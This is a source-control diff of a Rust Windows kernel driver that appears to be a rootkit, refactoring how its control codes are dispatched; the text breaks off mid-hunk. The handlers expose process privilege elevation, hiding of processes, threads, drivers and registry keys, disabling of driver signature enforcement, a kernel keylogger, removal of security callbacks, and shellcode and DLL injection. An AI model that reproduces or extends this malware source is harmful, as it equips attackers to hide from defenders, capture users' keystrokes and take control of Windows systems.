Complete refactoring of driver and client code to improve readability

driver/src/callbacks/ioctls.rs

@@ -0,0 +1,45 @@
+use alloc::boxed::Box;
+use hashbrown::HashMap;
+use shared::{
+    ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK}, 
+    structs::{CallbackInfoInput, CallbackInfoOutput}
+};
+use wdk_sys::{IO_STACK_LOCATION, IRP};
+use crate::{handle_callback, utils::ioctls::IoctlHandler};
+
+pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
+
+    // Lists callbacks.
+    ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ENUMERATE_CALLBACK");
+        let mut information = 0;
+        let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
+        unsafe { (*irp).IoStatus.Information = information as u64 };
+        status
+    }) as IoctlHandler);
+
+    // ?
+    ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
+        let mut information = 0;
+        let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
+        unsafe { (*irp).IoStatus.Information = information as u64 };
+        status
+    }) as IoctlHandler);
+
+    // Remove a callback.
+    ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_REMOVE_CALLBACK");
+        let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+    // ?
+    ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_RESTORE_CALLBACK");
+        let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+}

driver/src/callbacks/mod.rs

@@ -16,6 +16,7 @@ use {
 };
 
 mod find_callback;
+pub mod ioctls;
 
 /// Variable that stores callbacks that have been removed.
 static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));

driver/src/driver/ioctls.rs

@@ -0,0 +1,27 @@
+use {
+    alloc::boxed::Box,
+    hashbrown::HashMap,
+    shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}},
+    wdk_sys::{IO_STACK_LOCATION, IRP},
+    crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
+};
+
+pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
+
+    // Hiding a driver from loaded modules.
+    ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
+        let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+    // Enumerate active drivers on the system.
+    ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ENUMERATE_DRIVER");
+        let mut information = 0;
+        let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
+        unsafe { (*irp).IoStatus.Information = information as u64 };
+        status
+    }) as IoctlHandler);
+}

driver/src/driver/mod.rs

@@ -18,6 +18,7 @@ use {
     }, 
 };
 
+pub mod ioctls;
 
 /// List of target drivers protected by a mutex.
 static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); 

driver/src/includes/mod.rs

@@ -172,6 +172,33 @@ pub mod types {
         system_argument1: *mut PVOID,
         system_argument2: *mut PVOID 
     );
+
+    pub type ZwSuspendThreadType = unsafe extern "system" fn (
+        ThreadHandle: HANDLE,
+        PreviousSuspendCount: *mut u32,
+    ) -> NTSTATUS;
+
+    pub type ZwResumeThreadType = unsafe extern "system" fn(
+        ThreadHandle: HANDLE,
+        PreviousSuspendCount: *mut u32,
+    ) -> NTSTATUS;
+
+    pub type ZwCreateDebugObjectType = unsafe extern "system" fn(
+        DebugObjectHandle: *mut HANDLE,
+        DesiredAccess: ACCESS_MASK,
+        ObjectAttributes: *mut OBJECT_ATTRIBUTES,
+        Flags: BOOLEAN,
+    ) -> NTSTATUS;
+
+    pub type ZwDebugActiveProcessType = unsafe extern "system" fn(
+        ProcessHandle: HANDLE,
+        DebugObjectHandle: HANDLE,
+    ) -> NTSTATUS;
+
+    pub type ZwRemoveProcessDebugType = unsafe extern "system" fn(
+        ProcessHandle: HANDLE,
+        DebugObjectHandle: HANDLE,
+    ) -> NTSTATUS;
 }
 
 pub mod enums {
@@ -246,4 +273,23 @@ extern "system" {
         NewProtect: ULONG,
         OldProtect: PULONG
     ) -> NTSTATUS;
+
+    pub fn ZwOpenThread(
+        handle: *mut HANDLE,
+        desired_access: ACCESS_MASK,
+        object_attributes: *mut OBJECT_ATTRIBUTES,
+        client_id: *mut CLIENT_ID
+    ) -> NTSTATUS;
+
+    pub fn PsGetContextThread(
+        Thread: PETHREAD,
+        ThreadContext: *mut CONTEXT,
+        Mode: KPROCESSOR_MODE
+    ) -> NTSTATUS;
+
+    pub fn PsSetContextThread(
+        Thread: PETHREAD,
+        ThreadContext: *mut CONTEXT,
+        Mode: KPROCESSOR_MODE
+    ) -> NTSTATUS;
 }

driver/src/injection/ioctls.rs

@@ -0,0 +1,35 @@
+use {
+    alloc::boxed::Box,
+    hashbrown::HashMap,
+    shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection},
+    wdk_sys::{IO_STACK_LOCATION, IRP},
+    crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler},
+};
+
+pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
+
+    // Process injection using ZwCreateThreadEx.
+    ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
+        let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+    // APC Injection.
+    ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
+        let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+    // DLL injection using ZwCreateThreadEx.
+    ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_INJECTION_DLL_THREAD");
+        let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+}

driver/src/injection/mod.rs

@@ -3,13 +3,11 @@
 use {
     crate::{
         includes::{
-            enums::KAPC_ENVIROMENT::OriginalApcEnvironment, 
-            types::{
+            enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{
                 ZwCreateThreadExType, PKNORMAL_ROUTINE
-            }, 
-            KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory 
+            }, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory
         }, 
-        process::Process,
+        process::Process, 
         utils::{
             find_thread_alertable, find_zw_function, 
             get_module_peb, read_file, InitializeObjectAttributes
@@ -29,6 +27,7 @@ use {
 };
 
 mod callbacks;
+pub mod ioctls;
 
 /// Represents shellcode injection.
 pub struct InjectionShellcode;

driver/src/lib.rs

@@ -10,7 +10,7 @@ use {
     kernel_log::KernelLogger,
     core::ptr::null_mut,
     wdk_sys::{_MODE::KernelMode, ntddk::*, *},
-    keylogger::SHUTDOWN,
+    misc::keylogger::{SHUTDOWN, keylogger},
     crate::utils::ioctls::IOCTL_MAP,
 };
 
@@ -24,9 +24,9 @@ use {
 #[cfg(not(feature = "mapper"))]
 mod registry;
 mod callbacks;
+mod misc;
 mod driver;
 mod includes;
-mod keylogger;
 mod process;
 mod thread;
 mod module;
@@ -59,7 +59,7 @@ pub unsafe extern "system" fn driver_entry(
     KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
 
     log::info!("DriverEntry Loaded");
-
+    
     #[cfg(feature = "mapper")] {
         use includes::IoCreateDriver;
 
@@ -131,7 +131,7 @@ pub unsafe extern "system" fn shadow_entry(
         null_mut(),
         null_mut(),
         null_mut(),
-        Some(keylogger::keylogger),
+        Some(keylogger),
         null_mut(),
     );
 
@@ -167,27 +167,6 @@ pub unsafe extern "system" fn shadow_entry(
 ///
 /// # Return
 /// - `NTSTATUS`: Status code indicating the success or failure of the operation.
-///
-/// # Supported IOCTLs
-/// - `IOCTL_ELEVATE_PROCESS`: Elevates the specified process to system privileges.
-/// - `IOCTL_HIDE_UNHIDE_PROCESS`: Hide / Unhide the specified process.
-/// - `IOCTL_TERMINATE_PROCESS`: Terminate process.
-/// - `IOCTL_PROTECTION_PROCESS`: Modifying the PP / PPL of a process.
-/// - `IOCTL_ANTI_KILL_DUMPING_PROCESS`: Responsible for adding shutdown protection / memory dumping for a process.
-/// - `IOCTL_ENUMERATION_PROCESS`: Lists the processes currently hidden and protect.
-/// - `IOCTL_HIDE_UNHIDE_THREAD`: Hide the specified Thread by removing it from the list of active threads.
-/// - `IOCTL_ANTI_KILL_THREAD`: Responsible for adding thread termination protection.
-/// - `IOCTL_HIDE_DRIVER`: Hiding a driver from loaded modules.
-/// - `IOCTL_ENUMERATE_DRIVER`: Enumerate active drivers on the system.
-/// - `IOCTL_ENABLE_DSE`: Responsible for enabling/disabling DSE.
-/// - `IOCTL_KEYLOGGER`: Start / Stop Keylogger.
-/// - `IOCTL_ENUMERATE_CALLBACK`: Lists callbacks.
-/// - `IOCTL_REMOVE_CALLBACK`: Remove a callback.
-/// - `IOCTL_REGISTRY_PROTECTION_VALUE`: Adding protection for registry key values.
-/// - `IOCTL_REGISTRY_PROTECTION_KEY`: Added protection for registry keys
-/// - `IOCTL_INJECTION_SHELLCODE_THREAD`: Process injection using ZwCreateThreadEx.
-/// - `IOCTL_INJECTION_SHELLCODE_APC`: APC Injection.
-/// - `IOCTL_INJECTION_DLL_THREAD`: DLL injection using ZwCreateThreadEx.
 /// 
 pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
     let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;

driver/src/misc/ioctls.rs

@@ -0,0 +1,27 @@
+use {
+    alloc::boxed::Box,
+    hashbrown::HashMap,
+    wdk_sys::{IO_STACK_LOCATION, IRP},
+    super::keylogger::set_keylogger_state,
+    crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
+    shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}},
+};
+
+pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
+
+    // Responsible for enabling/disabling DSE.
+    ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ENABLE_DSE");
+        let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+    // Start / Stop Keylogger
+    ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_KEYLOGGER");
+        let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+}

driver/src/misc/mod.rs

@@ -0,0 +1,4 @@
+// pub mod etw;
+pub mod keylogger;
+pub mod ioctls;
+// pub mod memory;

driver/src/module/ioctls.rs

@@ -0,0 +1,17 @@
+use {
+    alloc::boxed::Box,
+    hashbrown::HashMap,
+    shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}},
+    wdk_sys::{IO_STACK_LOCATION, IRP},
+    crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
+};
+
+pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
+    ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ENUMERATE_MODULE");
+        let mut information = 0;
+        let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
+        unsafe { (*irp).IoStatus.Information = information as u64 };
+        status
+    }) as IoctlHandler);
+}

driver/src/module/mod.rs

@@ -15,6 +15,8 @@ use {
     winapi::shared::ntdef::LIST_ENTRY
 };
 
+pub mod ioctls;
+
 /// Represents a module in the operating system.
 pub struct Module;
 

driver/src/process/ioctls.rs

@@ -0,0 +1,77 @@
+use {
+    core::mem::size_of,
+    alloc::boxed::Box,
+    hashbrown::HashMap,
+    shared::{
+        ioctls::*, 
+        structs::{
+            EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess
+        }
+    },
+    wdk_sys::{IO_STACK_LOCATION, IRP},
+    crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
+};
+
+#[cfg(not(feature = "mapper"))]
+use {
+    crate::process::add_remove_process_toggle,
+    shared::structs::ProcessProtection,
+};
+
+pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
+
+    // Elevates the specified process to system privileges.
+    ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ELEVATE_PROCESS");
+        let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
+        unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
+        status
+    }) as IoctlHandler);
+
+    // Hide / Unhide the specified process.
+    ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
+        let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
+        unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
+        status
+    }) as IoctlHandler);
+
+    // Terminate process.
+    ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_TERMINATE_PROCESS");
+        let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
+        unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
+        status
+    }) as IoctlHandler);
+
+    // Modifying the PP / PPL of a process.
+    ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_SIGNATURE_PROCESS");
+        let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
+        unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
+        status
+    }) as IoctlHandler);
+
+    // Lists the processes currently hidden and protect.
+    ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ENUMERATION_PROCESS");
+        let mut information = 0;
+        let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
+        unsafe { (*irp).IoStatus.Information = information as u64 };
+        status
+    }) as IoctlHandler);
+
+    // If the feature is a mapper, these functionalities will not be added.
+    #[cfg(not(feature = "mapper"))] {
+
+        // Responsible for adding shutdown protection / memory dumping for a process.
+        ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+            log::info!("Received IOCTL_PROTECTION_PROCESS");
+            let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
+            unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
+            status
+        }) as IoctlHandler);
+    }
+
+}
+ 

driver/src/process/mod.rs

@@ -19,6 +19,7 @@ use {
 
 #[cfg(not(feature = "mapper"))]
 pub mod callback;
+pub mod ioctls;
 #[cfg(not(feature = "mapper"))]
 pub use callback::*;
 

driver/src/registry/ioctls.rs

@@ -0,0 +1,52 @@
+#![cfg(not(feature = "mapper"))]
+
+use {
+    crate::{
+        handle_registry,
+        registry::{Registry, utils::KeyListType}
+    },
+    shared::structs::TargetRegistry,
+    crate::utils::ioctls::IoctlHandler, 
+    alloc::boxed::Box, 
+    hashbrown::HashMap, 
+    shared::ioctls::{
+        IOCTL_HIDE_UNHIDE_KEY, IOCTL_HIDE_UNHIDE_VALUE, IOCTL_REGISTRY_PROTECTION_KEY, 
+        IOCTL_REGISTRY_PROTECTION_VALUE
+    }, 
+    wdk_sys::{IO_STACK_LOCATION, IRP}
+};
+
+pub fn get_registry_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
+
+    // Adding protection for registry key values.
+    ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");
+        let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+    
+    // Added protection for registry keys.
+    ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY");
+        let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+    // ?
+    ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_HIDE_UNHIDE_KEY");
+        let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+
+    // ?
+    ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_HIDE_UNHIDE_VALUE");
+        let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) };
+        unsafe { (*irp).IoStatus.Information = 0 };
+        status
+    }) as IoctlHandler);
+}

driver/src/registry/mod.rs

@@ -12,6 +12,7 @@ use {
 #[cfg(not(feature = "mapper"))]
 pub mod callback;
 pub mod utils;
+pub mod ioctls;
 #[cfg(not(feature = "mapper"))]
 pub use callback::*;
 

driver/src/thread/ioctls.rs

@@ -0,0 +1,45 @@
+use {
+    core::mem::size_of,
+    alloc::boxed::Box,
+    hashbrown::HashMap,
+    shared::{
+        ioctls::{IOCTL_ENUMERATION_THREAD, IOCTL_HIDE_UNHIDE_THREAD, IOCTL_PROTECTION_THREAD}, 
+        structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}
+    },
+    wdk_sys::{IO_STACK_LOCATION, IRP},
+    crate::{handle_thread, thread::Thread, utils::ioctls::IoctlHandler},
+};
+
+#[cfg(not(feature = "mapper"))]
+use {
+    crate::thread::add_remove_thread_toggle,
+    shared::structs::ThreadProtection,
+};
+
+pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
+
+    // Hide the specified Thread by removing it from the list of active threads.
+    ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
+        let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
+        unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
+        status
+    }) as IoctlHandler);
+
+    // ?
+    ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_ENUMERATION_THREAD");
+        let mut information = 0;
+        let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
+        unsafe { (*irp).IoStatus.Information = information as u64 };
+        status
+    }) as IoctlHandler);
+
+    // Responsible for adding thread termination protection.
+    ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+        log::info!("Received IOCTL_PROTECTION_THREAD");
+        let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
+        unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
+        status
+    }) as IoctlHandler);
+}

driver/src/thread/mod.rs

@@ -20,6 +20,7 @@ use {
 
 #[cfg(not(feature = "mapper"))]
 pub mod callback;
+pub mod ioctls;
 #[cfg(not(feature = "mapper"))]
 pub use callback::*;
 

driver/src/utils/ioctls.rs

@@ -1,222 +1,37 @@
 use {
-    crate::{
-        callbacks::{Callback, CallbackList, CallbackOb, CallbackRegistry}, 
-        driver::Driver, injection::{InjectionDLL, InjectionShellcode}, 
-        keylogger::set_keylogger_state, module::Module, 
-        process::Process, thread::Thread, *
-    }, 
     alloc::boxed::Box, 
-    core::mem::size_of, 
-    hashbrown::HashMap, 
-    lazy_static::lazy_static, 
-    shared::{
-        ioctls::*, 
-        structs::*,
-    }, 
-    wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS} 
-};
-
-#[cfg(not(feature = "mapper"))]
-use {
+    hashbrown::HashMap,
+    lazy_static::lazy_static,
+    wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS},
     crate::{
-        process::add_remove_process_toggle,
-        thread::add_remove_thread_toggle,
-        handle_registry,
-        registry::{Registry, utils::KeyListType}
+        callbacks::ioctls::get_callback_ioctls, 
+        driver::ioctls::get_driver_ioctls, 
+        process::ioctls::get_process_ioctls, 
+        thread::ioctls::get_thread_ioctls,
+        registry::ioctls::get_registry_ioctls,
+        injection::ioctls::get_injection_ioctls,
+        misc::ioctls::get_misc_ioctls,
+        module::ioctls::get_module_ioctls,
     },
-    shared::structs::{ProcessProtection, ThreadProtection, TargetRegistry},
 };
 
-type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
+pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
 
 lazy_static! {
     pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = {
         let mut ioctls = HashMap::new();
-        ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ELEVATE_PROCESS");
-            let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
-            unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
-            status
-        }) as IoctlHandler);
+        get_process_ioctls(&mut ioctls);
+        get_thread_ioctls(&mut ioctls);
+        get_driver_ioctls(&mut ioctls);
+        get_callback_ioctls(&mut ioctls);
+        get_injection_ioctls(&mut ioctls);
+        get_misc_ioctls(&mut ioctls);
+        get_module_ioctls(&mut ioctls);
 
-        ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
-            let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
-            unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_TERMINATE_PROCESS");
-            let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
-            unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_SIGNATURE_PROCESS");
-            let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
-            unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ENUMERATION_PROCESS");
-            let mut information = 0;
-            let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
-            unsafe { (*irp).IoStatus.Information = information as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
-            let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
-            unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ENUMERATION_THREAD");
-            let mut information = 0;
-            let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
-            unsafe { (*irp).IoStatus.Information = information as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
-            let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ENUMERATE_DRIVER");
-            let mut information = 0;
-            let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
-            unsafe { (*irp).IoStatus.Information = information as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ENUMERATE_CALLBACK");
-            let mut information = 0;
-            let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
-            unsafe { (*irp).IoStatus.Information = information as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
-            let mut information = 0;
-            let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
-            unsafe { (*irp).IoStatus.Information = information as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_REMOVE_CALLBACK");
-            let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
